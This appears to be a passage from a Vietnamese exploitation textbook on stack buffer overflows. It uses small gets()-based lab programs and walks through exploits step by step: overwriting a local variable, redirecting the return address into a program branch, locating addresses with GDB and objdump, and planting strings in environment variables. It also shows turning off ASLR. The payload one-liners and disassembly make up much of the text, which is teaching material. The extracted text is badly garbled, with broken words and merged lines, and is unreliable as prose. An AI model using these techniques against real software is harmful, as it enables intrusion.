khi n cho chương trình b qua vi c s d ng d li u quan tr ng. 6 char buf [ 1 6 ] . m c tiêu chúng ta mu n đ t đư c là dòng ch “You win!” đư c in lên màn hình. h> 2 3 int main ( ) 4 { 5 int c o o k i e . đ i tư ng mà chúng ta đang bàn đ n trong chương này. Khi n m v ng nguyên t c c a tràn b đ m.4 20011002 (Debian prerelease) Đ t n d ng l i thành công.95. Chúng ta b qua c nh báo đó vì đây chính là hàm s gây ra l i tràn b đ m.

. và 14 ký “0123456789abcdefghij” t thì toàn b bi n cookie s b ta ki m soát. V n đ gi đây tr thành làm sao đ t n d ng l i hàm gets đ gán giá tr c a cookie là 41424344. ngư i t n d ng l i dĩ nhiên ph i tìm đư c nơi phát sinh l i.. N u như ta nh p vào 6 ký t “abcdef” thì tr ng thái b nh s như Hình 3. 43. Ngoài vi c hi u cách ho t đ ng c a chương trình.2. 10 ký t “0123456789abcdef” thì byte đ u tiên c a cookie s b vi t đè v i ký t k t thúc chu i.. Hình 3. Hình 3. địa chỉ trở về ebp cũ cookie buf buf buf buf . Chúng ta may m n đư c GCC thông báo r ng l i n m hàm gets. c u trúc c a các bi n n i b c a hàm main đư c xác đ nh như trong Hình 3. N u giá tr c a bi n n i b cookie là 41424344 thì s in ra b xu t chu n (stdout) dòng ch “You win!”. ..38 CHƯƠNG 3. Ký t k t thúc chu i (mã ASCII 00) cũng đư c hàm gets t đ ng thêm vào cu i. Hàm này không ki m tra kích thư c vùng nh dùng đ ch a d li u nh p cho nên s x y ra tràn b đ m n u như d li u nh p dài hơn kích thư c c a b đ m. cũng đ ng nghĩa v i vi c bi n cookie n m đ a ch cao hơn bi n buf. 41 theo như quy ư c k t thúc nh c a b vi x lý Intel x86. Bi n cookie đóng vai trò là m t d li u quan tr ng trong quá trình ho t đ ng c a chương trình.3a. Do đó m t trong nh ng con đư ng đ đ t đư c m c tiêu y là gán giá tr c a cookie b ng v i giá tr 41424344. Trên b nh .3d minh h a tr ng thái b nh c n đ t t i đ dòng ch “You win!” đư c in ra màn hình. Thông qua vi c hi u cách ho t đ ng c a chương trình.2: V trí cookie và buf thông qua hàm gets. và do đó n m phía sau buf trong b nh . 42. Vùng nh đư c truy n vào hàm gets đ ch a d li u nh p là bi n n i b buf. Hàm gets th c hi n vi c nh n m t chu i t b nh p chu n và đưa vào b đ m. TRÀN B Đ M . Vì bi n cookie đư c khai báo trư c nên bi n cookie s đư c phân phát b nh trong ngăn x p trư c. Đ cookie có giá tr 41424344 thì các ô nh c a bi n cookie ph i có giá tr l n lư t là 44. chúng ta th y r ng chính b n thân chương trình đã ch a mã th c hi n tác v mong mu n (in ra màn hình dòng ch “You win!”).

.... địa chỉ trở về ebp cũ cookie XX XX 65 61 XX XX 66 62 XX XX 00 63 XX XX XX 64 00 63 38 34 30 ...3: Quá trình tràn bi n buf và tr ng thái c n đ t . . (c) Chu i 14 ký t (d) Tr ng thái c n đ t t i Hình 3. (a) Chu i 6 ký t (b) Chu i 10 ký t .. . địa chỉ trở về ebp cũ 43 42 41 buf buf buf buf .2.... địa chỉ trở về ebp cũ XX 64 39 35 31 XX 65 61 36 32 XX 66 62 37 33 .. THAY Đ I GIÁ TR BI N N I B 39 .. địa chỉ trở về 00 67 63 38 34 30 XX 68 64 39 35 31 XX 69 65 61 36 32 XX 6A 66 62 37 33 44 ....3..

đôi khi t m t t p tin. &c o o k i e ) .c Như v y. Đi m khác bi t duy nh t gi a hai chương trình là giá tr so sánh 01020305. &c o o k i e : %p\n" . 3. chúng ta s g d ng l i nào cũng n d ng thành công l i tràn b đ m c a chương trình đ ghi quan tr ng.2: stack2.2 r t g n v i ví d trư c. Đôi khi chương trình đ c t b nh p chu n. các ví d p nh ng câu h i t ng quát tương t mà b t kỳ quá trình t n ph i có câu tr l i. Chúng ta ph i bi t chương trình nh n d li u t đâu đ có th truy n d li u c n thi t vào chương trình thông qua con đư ng đ y. 6 char buf [ 1 6 ] . B. khi khác l i t m t socket. B n ký t này chính là D. 12 } 13 } Ngu n 3. &cookie: 0xbffffa54 aaaaaaaaaaaaaaaaDCBA You win! regular@exploitation:~/src$ Chúng ta đã t đè m t bi n n i b câu tr l i cho m sau. 9 i f ( c o o k i e == 0 x01020305 ) 10 { 11 p r i n t f ( "You win ! \ n" ) .3 Truy n d li u vào chương trình Câu h i th hai mà ngư i t n d ng l i ph i tr l i là làm cách nào đ truy n d li u vào chương trình.40 CHƯƠNG 3. Hình ch p sau là k t qu khi ta nh p vào 10 ký t “a” và “DCBA”. theo sau b i 4 ký t có mã ASCII l n lư t là 44. d li u mà chúng ta c n nh p vào chương trình là 10 ký t b t kỳ đ l p đ y bi n buf. K t qu đ t đư c ví d này ch y u chính là t câu h i quan tr ng: c n nh p vào d li u gì. C. h> 2 3 int main ( ) 4 { 5 int c o o k i e ./stack1 &buf: 0xbffffa44. 43. Ngu n 3. . regular@exploitation:~/src$ . buf .2. TRÀN B Đ M 1 #include <s t d i o . 7 p r i n t f ( "&buf : %p . và A theo B ng 2. 8 g e t s ( buf ) . và 41. 42.

stack1./receiver. printf("&buf: %p. chúng ta s t o m t t p tin ch a d li u nh p thông qua Ngu n 3. IPC) trong đó m t chương trình g i d li u cho m t chương trình khác. Sau đó chúng ta g i chương trình b l i và chuy n hư ng b nh p chu n c a nó qua t p tin đã đư c t o. không có trên bàn phím nên cách nh p d li u t bán phím s không dùng đư c.000000000 +0700 @@ -6. m t ký t b t kỳ có th đư c truy n vào chương trình thông qua b nh p chu n. &cookie: %p\n".2 v i cách đ u tiên. B nh p chu n có th đư c chuy n hư ng đ tr thành đ u nh n c a ng như trong câu l nh . Chương trình phía trư c ký t | (gi ⇑ Shift và nh n \ ) là chương trình g i d li u. chương trình phía sau ký t | là chương trình nh n d li u. 2 và 1. thì có bao nhiêu cách đ truy n d li u t i chương trình? & Vì chương trình đ c t b nh p chu n nên chúng ta có th dùng nh ng cách sau đ truy n d li u qua b nh p chu n: Chuy n hư ng (redirection) B nh p chu n có th đư c chuy n hư ng t bàn phím qua m t t p tin thông qua ký t < như trong câu l nh ./sender | . V i hai cách trên.000000000 +0700 +++ stack2.7 +6. b xu t chu n c a chương trình này s g i d li u vào ng thay vì g i ra màn hình. b nh p chu n c a chương trình này s đ c d li u t ng thay vì bàn phím. Ví d đ t n d ng l i Ngu n 3. Khi th c hi n câu l nh này.3. ' $ D ng đ c và suy nghĩ N u chương trình đ c t b nh p chu n. if (cookie == 0x41424344) + if (cookie == 0x01020305) { printf("You win!\n"). % ng (pipe) là m t cách trao đ i thông tin liên ti n trình (interprocess communication. M i tác v đ c t b nh p chu n s đ c t t p tin này.c --.7 @@ char buf[16].c stack2. } B n đ c d dàng nh n ra d li u đ t n d ng l i bao g m 10 ký t b t kỳ đ l p đ y bi n buf và 4 ký t có mã ASCII l n lư t là 5. &cookie).c 2009-01-18 13:14:00.3.3. các ký t này là nh ng ký t không in đư c. buf. Tuy nhiên. . gets(buf). TRUY N D LI U VÀO CHƯƠNG TRÌNH 41 regular@exploitation:~/src$ diff -u stack1. n i dung c a t p tin input s đư c dùng thay cho b nh p chu n./stack1 < input.c 2009-01-18 13:14:00. 3.

c regular@exploitation:~/src$ gcc -o exp2 exp2. Trong tài li u này. &cookie: 0xbffffa54 You win! regular@exploitation:~/src$ Th m chí chúng ta còn có th s d ng (và b n đ c đư c khuy n khích s d ng) các ngôn ng k ch b n đ đơn gi n hóa công vi c này. vi c t n d ng l i s đơn gi n hơn vì chúng ta có th dùng các l nh có s n như echo đ truy n các ký t đ c bi t qua ng. 2 http://www. &cookie: 0xbffffa54 You win! regular@exploitation:~/src$ N u s d ng cách th hai.c regular@exploitation:~/src$ . "wb" ) ./stack 2 &buf: 0xbffffa44.3: exp2. 10 } Ngu n 3. h> 2 3 int main ( int argc . tác gi xin trình bày v i ngôn ng Python2 . sizeof ( s ) . • S hi u bi t và thói quen s d ng m t ngôn ng k ch b n s ti t ki m đư c nhi u th i gian và công s c trong quá trình t n d ng l i./exp2 redirect regular@exploitation:~/src$ . &cookie: 0xbffffa54 You win! regular@exploitation:~/src$ Chúng ta k t thúc ví d th hai t i đây v i nh ng đi m đáng lưu ý sau: • Cách truy n d li u vào chương trình cũng quan tr ng như chính b n thân d li u đó./stack2 < redirect &buf: 0xbffffa44.org . char ∗∗ argv ) 4 { 5 char s [ ] = " aaaaaaaaaaaaaaaa \ x05 \ x03 \ x02 \ x01 " . 7 fwrite ( s .42 CHƯƠNG 3. 8 fclose ( f ). 9 return 0 . 1 . regular@exploitation:~/src$ echo -e "aaaaaaaaaaaaaaaa\005\003\002\001" | . 6 FILE ∗ f = f o p e n ( argv [ 1 ] . Đ c gi có th s d ng b t kỳ ngôn ng k ch b n nào quen thu c v i mình.python. f ) . TRÀN B Đ M 1 #include <s t d i o ./st ack2 &buf: 0xbffffa44. regular@exploitation:~/src$ python -c ’print "a"*16 + "\x05\x03\x02\x01"’ | .

12 } 13 } Ngu n 3. Ph i chăng có s sai sót trong câu l nh t n d ng l i? Hay cách tính toán c a chúng ta đã b l ch vì c u trúc b nh thay đ i? 3 python -c ’print "a"*16 + "\x00\x03\x02\x00"’ | .4 không? Tr l i m u3 có th đư c tìm th y chân trang. &cookie: 0xbffffa54 regular@exploitation:~/src$ Đáng ti c. THAY Đ I LU NG TH C THI 1 #include <s t d i o ./stack3 .1 Thay đ i lu ng th c thi K thu t cũ hai ví d trư c chúng ta thay đ i giá tr m t bi n n i b quan tr ng có nh hư ng đ n k t qu th c thi c a chương trình. &c o o k i e : %p\n" .4.5. 7 p r i n t f ( "&buf : %p .4: stack3. chúng ta không th y dòng ch “You win!” đư c in ra màn hình n a.c ' 43 $ D ng đ c và suy nghĩ V i nh ng gì chúng ta đã bàn qua trong chương này. regular@exploitation:~/src$ python -c ’print "a"*16 + "\x00\x0A\x0D\x00"’ | . 9 i f ( c o o k i e == 0 x00020300 ) 10 { 11 p r i n t f ( "You win ! \ n" ) . buf .4.4 3. Chúng ta s áp d ng k thu t đó đ ti p t c xem xét ví d trong Ngu n 3. đ c gi có th t n d ng đư c l i c a Ngu n 3. Đi m khác bi t duy nh t gi a ví d này và các ví d trư c là giá tr cookie đư c ki m tra v i 000D0A00 do đó chúng ta ph ng đoán r ng v i m t chút s a đ i t i cùng dòng l nh t n d ng l i s đem l i k t qu như ý. &c o o k i e ) . 6 char buf [ 1 6 ] . & % 3. 8 g e t s ( buf ) ./st ack4 &buf: 0xbffffa44.3. h> 2 3 int main ( ) 4 { 5 int c o o k i e .

và các ký t này đư c thay b ng ’\0’. h> 2 3 int main ( ) 4 { 5 int c o o k i e .  T m d ch (v i nh ng ph n nh n m nh đư c tô đ m): gets() đ c m t dòng t b nh p chu n vào b đ m đư c tr đ n b i s cho đ n khi g p ph i m t ký t dòng m i ho c EOF. Do đó.2. Vì vi c nh p d li u b ng t t i ký t dòng m i nên hai ký t có mã ASCII 0D và 00 không đư c đưa vào cookie. gets s ng ng vi c nh n d li u và thay ký t này b ng ký t có mã ASCII 0 (ký t k t thúc chu i). Lo i b hai trư ng h p này d n ta đ n k t lu n h p lý cu i cùng là giá tr cookie đã không b đ i thành 000D0A00. 12 } 13 } Ngu n 3. 6 char buf [ 1 6 ] .c   D ng đ c và suy nghĩ Đ c gi có th gi i thích lý do không?  Ki m tra k t qu th c hi n l nh ta có th lo i b kh năng đ u tiên vì câu l nh đư c th c hi n m t cách t t đ p nên đ m b o cú pháp l nh đúng. b n thân ký t dòng m i cũng . Như đã nói đ n trong Ti u m c 2.1. Vì d li u đư c nh n t b nh p chu n vào bi n buf thông qua hàm gets nên chúng ta s tìm hi u hàm gets k hơn. TRÀN B Đ M 1 #include <s t d i o . &c o o k i e : %p\n" . Hơn n a.44 CHƯƠNG 3. Ghi g p ký t này. tr ng thái ngăn x p c a hàm main đ i v i câu l nh t n d ng s như minh h a trong Hình 3.4. Đ c tài li u v hàm gets b ng l nh man gets đem l i cho chúng ta thông tin sau: gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF. 9 i f ( c o o k i e == 0x000D0A00 ) 10 { 11 p r i n t f ( "You win ! \ n" ) . 8 g e t s ( buf ) . Nhưng t i sao giá tr c a cookie b thay đ i đúng v i giá tr mong mu n nh ng ví d trư c? Nguyên nhân cookie b thay đ i chính là do bi n buf b tràn và l n qua ph n b nh c a cookie. 7 p r i n t f ( "&buf : %p . buf .5 không có s thay đ i các bi n n i b trong hàm main nên c u trúc ngăn x p c a main v n ph i như đã đư c minh h a trong Hình 3. ký t dòng m i có mã ASCII là 0A.5: stack4. &c o o k i e ) .3. which it replaces with ’\0’. B i vì Ngu n 3.

sau đó main g i t i gets đ nh n d li u t b nh p chu n. Khi gets k t thúc. các ví d trư c.. chúng ta không còn kh năng ch n nhánh so sánh đó n a.5. và s đi t i ph n “k t thúc” c a hàm main. Vi c đ u tiên hàm main làm là g i t i printf đ in ra màn hinh m t chu i thông tin..4.2 Lu ng th c thi (control flow) Hãy xem l i quá trình th c hi n chương trình Ngu n 3. N u hai giá tr này như nhau thì chu i “You win!” s đư c in ra màn hình. main k t thúc và quay tr v b n p (loader) c a h đi u hành. h đi u hành s n p chương trình vào b nh . và g i hàm main..5. Trư c h t. Tuy nhiên chúng ta v n có th s d ng mã nhánh “b ng” y n u như chúng ta có th đưa con tr l nh v v trí c a nhánh.3. Do đó giá tr c a cookie s không th đư c gán b ng v i giá tr mong mu n. Quá trình này đư c mô t trong Hình 3.. chúng ta chuy n hư ng lu ng th c thi t i ô hình thoi đ chương trình đi theo mũi tên “b ng” và g i hàm printf in ra màn hình.4: Chu i nh p b ng t t i 0A b đ i thành ký t k t thúc chu i.3. V i ví d t i Ngu n 3. Hình 3. địa chỉ trở về ngừng nhập tại 0A và đổi thành 00 ebp cũ 00 61 61 61 61 00 61 61 61 61 XX 61 61 61 61 XX 61 61 61 61 .   D ng đ c và suy nghĩ B n đ c có đ ngh gì không?  Vì không th r vào nhánh “b ng” nên chương trình c a chúng ta s luôn đi theo nhánh “không”. THAY Đ I LU NG TH C THI 45 . ph n k t thúc c a m t hàm gán con tr l nh v i giá tr đã lưu trên  . và chúng ta c n m t cách th c t n d ng l i khác.5. Nh l i Ti u m c 2. 3.3. main s ki m tra giá tr c a cookie v i m t giá tr xác đ nh. Cu i cùng.4.

5: Bi u đ lu ng th c thi .46 CHƯƠNG 3. TRÀN B Đ M bộ nạp main dẫn nhập printf gets cookie= 000D0A00 không bằng printf kết thúc Hình 3.

V n đ còn l i là tìm ra đ a ch c a nhánh “b ng”. THAY Đ I LU NG TH C THI 47 dẫn nhập printf gets cookie= 000D0A00 không bằng printf kết thúc Hình 3.6: Tr v chính thân hàm ngăn x p đ tr v hàm g i nó. ph n k t thúc c a main s quay tr v b n p c a h đi u hành như đư c minh h a. đ a ch này n m phía sau buf và do đó có th b ghi đè hoàn toàn n u như d li u nh p có đ dài t 1C (28 th p phân) ký t tr lên.3 Tìm đ a ch nhánh “b ng” Có nhi u cách đ tìm đ a ch nhánh “b ng” trong chương trình. 3. Các chuyên gia an ninh ng d ng thư ng s d ng chương trình d ch ngư c tương tác Interactive .2.4.3.5. Như v y. Trong trư ng h p đ c bi t khác. Thông thư ng.4. Và s th t tuy t v i n u đ a đi m này là nhánh “b ng” như trong Hình 3.6. Y u t quy t đ nh đ a đi m mà ph n k t thúc quay l i chính là đ a ch tr v đư c lưu trên ngăn x p. ph n k t thúc có th quay v m t đ a đi m b t kỳ. Trong Hình 3. ta đã xác đ nh đư c hư ng đi m i trong vi c t n d ng l i c a Ngu n 3.

gdb$ x/22i main 0x8048470 <main>: 0x8048471 <main+1>: 0x8048473 <main+3>: 0x8048476 <main+6>: 0x8048479 <main+9>: 0x804847c <main+12>: 0x804847d <main+13>: 0x8048480 <main+16>: 0x8048481 <main+17>: 0x8048486 <main+22>: 0x804848b <main+27>: 0x804848e <main+30>: 0x8048491 <main+33>: 0x8048494 <main+36>: 0x8048495 <main+37>: 0x804849a <main+42>: 0x804849d <main+45>: 0x80484a4 <main+52>: 0x80484a6 <main+54>: 0x80484a9 <main+57>: 0x80484ae <main+62>: 0x80484b3 <main+67>: gdb$ push mov sub add lea push lea push push call add add lea push call add cmp jne add push call add ebp ebp.[ebp-20] eax 0x80485d0 0x804834c <printf@plt> esp./stack4 GNU gdb 6. gdb$ GDB hi n ra d u nh c gdb$ ch l nh.0x28 esp.90-debian Copyright (C) 2006 Free Software Foundation.[ebp-4] eax eax. Type "show warranty" for details. ta dùng l nh v i cú pháp gdb <cmd>. S d ng trình g r i GDB. ta dùng l nh như hình ch p sau.0x10 DWORD PTR [ebp-4]. Chương trình g r i (debugger) ph thông trong Linux là GDB.[ebp-20] eax 0x804831c <gets@plt> esp.0xfffffffc eax. regular@exploitation:~/src$ gdb .0xd0a00 0x80484b6 <main+70> esp. Đ s d ng GDB.48 CHƯƠNG 3.0xfffffff4 0x80485e7 0x804834c <printf@plt> esp..3. GDB is free software. Chương trình IDA đư c cung c p và hư ng d n s d ng trong khóa h c tr c ti p c a tác gi nhưng đ gi m s lư ng cây b ch t cho vi c in nhi u hình nh nên chúng ta s xem xét nh ng cách khác.0x10 C t đ u tiên là đ a ch mà dòng l nh này s đư c t i vào b nh khi th c .4. 3. and you are welcome to change it and/or distribute copies of it under certain conditions.1 V i GDB G r i (debug) là công vi c nghiên c u ho t đ ng c a chương trình nh m tìm ra nguyên nhân t i sao chương trình ho t đ ng như th này.Using host libthread_db library "/ lib/tls/i686/cmov/libthread_db.4. There is absolutely no warranty for GDB.so. Ví d đ g r i stack4.0xfffffff4 eax. This GDB was configured as "i486-linux-gnu". TRÀN B Đ M DisAssembler (IDA) đ x lý m i vi c. ho c công c objdump là hai cách chúng ta s bàn t i đây. covered by the GNU General Public License.esp esp.0x10 esp. Inc. Type "show copying" to see the conditions.1". N u ta nh p vào x/22i main thì GDB s hi n (x) trên màn hình 22 (th p phân) l nh h p ng (i) đ u tiên c a hàm main. hay như th kia..

D a theo bi u đ lu ng đi u khi n. M t vài dòng l nh phía trên l i g i hàm là m t l nh nh y có đi u ki n JNE.4. 3. C t ch ba chính là các l nh h p ng . Đích đ n c a l nh nh y này là m t nhánh./stack4: file format elf32-i386 Disassembly of section . thay vì c a m t hàm như ta đã làm v i GDB.3. đánh d u s r nhánh. và ph n phía sau l nh nh y là m t nhánh khác. Solaris). . BSD.3.init: 080482e4 <_init>: 80482e4: 55 80482e5: 89 80482e7: 83 80482ea: e8 80482ef: e8 80482f4: e8 80482f9: c9 80482fa: c3 e5 ec a5 3c 77 08 00 00 00 01 00 00 02 00 00 push mov sub call call call leave ret %ebp %esp. Objdump có th đư c s d ng đ in ra các l nh h p ng như GDB n u đư c g i v i tham s -d. chúng ta có th th y đư c m t đo n như hình ch p sau. C t th hai là kho ng cách tương đ i so v i dòng l nh đ u tiên c a main. THAY Đ I LU NG TH C THI 49 thi. T i đ a ch 080484AE là l i g i hàm printf th hai do đó nhánh “b ng” chính là nhánh có ch a đ a ch này. Đ thoát GDB. Tìm ki m trong thông tin objdump xu t ra.4. ta s c n tìm t i nhánh có ch a l i g i hàm printf th hai.%esp 8048394 <call_gmon_start> 8048430 <frame_dummy> 8048570 <__do_global_ctors_aux> B n d ch ngư c mà objdump cung c p là c a toàn b t p tin th c thi. Vì ph n phía sau l nh nh y có ch a l i g i hàm ta đang xét nên nhánh “b ng” b t đ u t đ a ch 080484A6.2 V i objdump Chương trình objdump cung c p thông tin v m t t p tin th c thi theo đ nh d ng ELF (đư c s d ng trong các h đi u hành Linux.%ebp $0x8. chúng ta nh p l nh quit./stack4 . regular@exploitation:~/src$ objdump -d .

%esp $0xd0a00. Đ a ch này ph i đư c đ t vào đúng ô ngăn x p như minh ho t trong Hình 3. t i đ a ch 080484A9. V i cú pháp AT&T thì tham s ngu n s đi trư c tham s đích. . không có ký t dòng m i./ stack4 &buf: 0xbffffa44. 04.%eax %eax 0xffffffec(%ebp). 84. Như v y ta s c n 18 ký t đ l p ch tr ng và 4 ký t cu i như đã đ nh.4 Quay v chính thân hàm Gi đây.%esp 0xfffffffc(%ebp).%eax %eax $0x80485d0 804834c <printf@plt> $0x10.4.0xfffffffc(%ebp) 80484b6 <main+0x46> $0xfffffff4.%esp $0xfffffff4.%ebp $0x28. TRÀN B Đ M e5 ec 28 c4 fc 45 fc 45 ec d0 c1 c4 c4 45 82 c4 7d 10 c4 e7 99 c4 85 04 08 fe ff ff 10 f4 ec fe ff ff 10 fc 00 0a 0d 00 f4 85 04 08 fe ff ff 10 push mov sub add lea push lea push push call add add lea push call add cmpl jne add push call add %ebp %esp. ta cũng tìm đư c đ a ch c a nhánh “b ng” b t đ u t 080484A6. May m n cho chúng ta là trong b n ký t này.%esp 0xffffffec(%ebp). chu i nh p vào ph i đ dài đ l p đ y bi n buf (c n 10 byte). và 08. vư t c ô ngăn x p ch a giá tr EBP cũ (c n 4 byte). và b n ký t cu i cùng ph i có mã ASCII l n lư t là A6.50 08048470 <main>: 8048470: 55 8048471: 89 8048473: 83 8048476: 83 8048479: 8d 804847c: 50 804847d: 8d 8048480: 50 8048481: 68 8048486: e8 804848b: 83 804848e: 83 8048491: 8d 8048494: 50 8048495: e8 804849a: 83 804849d: 81 80484a4: 75 80484a6: 83 80484a9: 68 80484ae: e8 80484b3: 83 CHƯƠNG 3.%esp C t đ u tiên là đ a ch l nh tương t như b n xu t c a GDB.%esp $0xfffffffc. Cùng áp d ng lý lu n như v i GDB. C t th hai là mã máy tương ng v i các l nh h p ng c t th ba. Tuy nhiên chúng ta không th tr v ngay l nh g i hàm printf t i đ a ch 080484AE vì tham s truy n vào hàm printf chưa đư c thi t l p. Đi m khác bi t l n nh t gi a b n xu t c a objdump và GDB là objdump s d ng cú pháp ki u AT&T.%esp $0x80485e7 804834c <printf@plt> $0x10. 3. Đ đ t đư c tr ng thái này. chúng ta đã xác đ nh đư c đ a ch mà chúng ta mu n ph n k t thúc quay tr v . tràn qua bi n cookie (c n 4 byte).7. &cookie: 0xbffffa54 You win! Segmentation fault regular@exploitation:~/src$ Chúng ta cũng có th dùng đ a ch 080484A9 thay cho 080484A6 vì nó không thay đ i k t qu c a l nh g i hàm printf. regular@exploitation:~/src$ python -c ’print "a"*0x18 + "\xA6\x84\x04\x08"’ | .%eax %eax 804831c <gets@plt> $0x10. Tham s này đư c thi t l p qua l nh PUSH trư c nó.

Như trong ví d này. 2... đ c gi có th nh n ra m t vài đi m đáng lưu ý sau: 1.. chúng ta có th s d ng hai đ a ch trong nhánh “b ng” đ quay tr v .7: Tr ng thái c n đ t đư c regular@exploitation:~/src$ python -c ’print "a"*0x18 + "\xA9\x84\x04\x08"’ | . . &cookie: 0xbffffa54 You win! Segmentation fault regular@exploitation:~/src$ Phương pháp t n d ng l i chúng ta v a xem xét qua đư c g i là k thu t quay v phân vùng . Phân vùng .3.text (return to . Hình 3. M t t p tin th c thi theo đ nh d ng ELF có nhi u phân vùng. và c nh ng thư vi n đư c s d ng. QUAY V THƯ VI N CHU N 51 . và s đư c b vi x lý th c thi./ stack4 &buf: 0xbffffa44.. Có nhi u cách đ t n d ng m t l i.text). A6 84 04 08 ebp cũ cookie buf buf buf buf .text là phân vùng ch a t t c các mã l nh đã đư c trình biên d ch t o ra. Chúng ta ph i hi u th t k cách ho t đ ng c a chương trình. 3. N u như không bi t rõ v hàm gets thì ta s không nh n ra đư c ký t dòng m i b chuy n thành ký t k t thúc chu i và là nguyên nhân làm cho vi c t n d ng theo cách cũ không thành công. K thu t này khá quan tr ng vì đôi khi mã l nh mà chúng ta c n th c thi đã có s n trong chương trình nên chúng ta ch c n tìm ra đ a ch các mã l nh đó là đã có th th c hi n thành công vi c t n d ng l i như trong ví d bàn đ n đây. hay h n ch vi c t n d ng l i thì chúng ta t t nh t nên tìm m t phương th c t n d ng khác thay vì c g ng làm cho phương th c cũ ho t đ ng đư c. Cũng thông qua ví d này. N u chương trình có nh ng cách th c đ phòng ch ng.5.

52

CHƯƠNG 3. TRÀN B

Đ M

1 #include <s t d i o . h> 2 3 int main ( ) 4 { 5 int c o o k i e ; 6 char buf [ 1 6 ] ; 7 p r i n t f ( "&buf : %p , &c o o k i e : %p\n" , buf , &c o o k i e ) ; 8 g e t s ( buf ) ; 9 i f ( c o o k i e == 0x000D0A00 ) 10 { 11 p r i n t f ( "You l o s e ! \ n" ) ; 12 } 13 } Ngu n 3.6: stack5.c

3.5

Quay v thư vi n chu n
trư c, chúng ta t n d ng mã l nh đã có s n trong chương trình đ “You win!”. Trong Ngu n 3.6, chúng ta không th y đo n mã th c mong mu n đ y n a. Thay vì in “You win!”, Ngu n 3.6 in “You dù v y, m c tiêu c a chúng ta v n không thay đ i.

các ví d in dòng ch hi n tác v lose!”. M c

3.5.1

Chèn d li u vào vùng nh c a chương trình

V i nh n xét đó, vi c đ u tiên chúng ta c n làm là ph i đưa đư c chu i “You win!” vào trong vùng nh c a chương trình và xác đ nh đư c đ a ch c a vùng nh đó.  

D ng đ c và suy nghĩ
Đ c gi có th nghĩ ra bao nhiêu cách?  M i ti n trình (process) trong h đi u hành Linux đư c c p m t vùng nh hoàn toàn tách bi t v i các ti n trình khác m c dù chúng có th có cùng m t đ a ch tuy n tính. Đ a ch tuy n tính này đư c ph n qu n lý b nh o ánh x sang đ a ch b nh v t lý như đã bàn đ n trong Ti u m c 2.2.3.1. Tuy tách bi t nhưng m t vài d li u c a ti n trình m s đư c chép vào vùng nh c a ti n trình con khi ti n trình con đư c h đi u hành n p vào b nh . Các d li u đó bao g m: 1. Các bi n môi trư ng. 2. Tên t p tin th c thi. 3. Tham s dòng l nh. 

3.5. QUAY V

THƯ VI N CHU N

53

1 #include <s t d i o . h> 2 3 int main ( ) 4 { 5 p r i n t f ( "%08x\n" , g e t e n v ( "EGG" ) ) ; 6 return 0 ; 7 } Ngu n 3.7: getenv.c

3.5.1.1

Bi n môi trư ng

Bi n môi trư ng (environment variable) đư c đ t vào cu i ph n nh dùng cho ngăn x p. Các bi n môi trư ng đư c k th a t ti n trình m xu ng ti n trình con. Tuy th t (và do đó, v trí) các bi n môi trư ng có th b thay đ i khi có s thay đ i v s lư ng, và n i dung các bi n môi trư ng, nhưng thông thư ng ti n trình con s nh n đ y đ các bi n môi trư ng c a ti n trình m . Ví d chúng ta hay dùng các dòng l nh sau đ thi t l p bi n môi trư ng JAVA_HOME.
JAVA_HOME=/opt/jdk1.6.0 export JAVA_HOME

Sau khi th c hi n, bi n môi trư ng JAVA_HOME s đư c gán giá tr /opt/jdk1.6.0 và đư c k th a xu ng các ti n trình con. Chính vì lý do đó nên các ti n trình Java sau này đ u bi t thư m c Java g c đâu. Đi u này có nghĩa r ng n u ta th c hi n l nh thi t l p m t bi n môi trư ng v i giá tr “You win!” thì ta s truy n đư c chu i này vào vùng nh c a các ti n trình sau đó.
EGG=’You win!’ export EGG

Đ tìm đ a ch c a chu i này trong b nh , chúng ta có th s d ng chương trình nh đư c li t kê trong Ngu n 3.7. Khi ch y, chương trình s in đ a ch c a chu i “You win!”.
regular@exploitation:~/src$ gcc -o getenv getenv.c regular@exploitation:~/src$ ./getenv bffffc36 regular@exploitation:~/src$

Vì v trí các bi n môi trư ng r t nh y c m v i giá tr c a chúng nên đ đ m b o r ng m i ti n trình đ u ch a chu i “You win!” t i đ a ch BFFFFC36, chúng ta ph i đ m b o không có s thay đ i gì t i bi n môi trư ng trong các l n th c thi chương trình. M t trong nh ng thay đ i vô tình mà chúng ta ít lưu ý t i là s thay đ i thư m c hi n t i. Hãy chú ý s thay đ i đ a ch c a cùng bi n môi trư ng trong hình ch p sau.

54
regular@exploitation:~/src$ cp getenv .. regular@exploitation:~/src$ cd .. regular@exploitation:~$ ./getenv bffffc3a regular@exploitation:~$

CHƯƠNG 3. TRÀN B

Đ M

Không nh ng v y, đ dài dòng l nh cũng có nh hư ng t i v trí c a các bi n môi trư ng.
regular@exploitation:~/src$ bffffc36 regular@exploitation:~/src$ bffffc32 regular@exploitation:~/src$ bffffc2e regular@exploitation:~/src$ regular@exploitation:~/src$ bffffc3e regular@exploitation:~/src$ ./getenv ././getenv ./././getenv cp getenv ge ./ge

Quan sát s thay đ i giá tr chúng ta có th th y quy lu t đơn gi n v trí giá tr c a bi n môi trư ng b gi m đi 2 đơn v khi dòng l nh tăng thêm 1 ký t . T ./getenv tăng thêm 2 ký t thành ././getenv làm v trí gi m đi 4 đơn v xu ng BFFFC32. T ./getenv gi m đi 4 ký t thành ./ge làm v trí tăng thêm 8 đơn v lên BFFFFC3E. Đôi l i v ASLR Xin đ c gi lưu ý r ng môi trư ng làm vi c c a chúng ta không có ch c năng ng u nhiên hóa dàn tr i không gian c p cao (Advanced Space Layout Randomization hay ASLR) nên các đ a ch chúng ta tìm đư c s không thay đ i qua các l n th c thi chương trình.
regular@exploitation:~/src$ cat /proc/sys/kernel/randomize_va_space 0 regular@exploitation:~/src$

Khi ch c năng này đư c b t, h đi u hành s di chuy n các kh i b nh đ n nh ng nơi khác nhau m i khi chương trình đư c th c thi. Do đó, đ a ch s b thay đ i qua các l n th c thi.
regular@exploitation:~/src$ pace’ regular@exploitation:~/src$ 1 regular@exploitation:~/src$ bf987c36 regular@exploitation:~/src$ bfcc6c36 regular@exploitation:~/src$ pace’ regular@exploitation:~/src$ sudo sh -c ’echo 1 > /proc/sys/kernel/randomize_va_s cat /proc/sys/kernel/randomize_va_space ./getenv ./getenv sudo sh -c ’echo 0 > /proc/sys/kernel/randomize_va_s

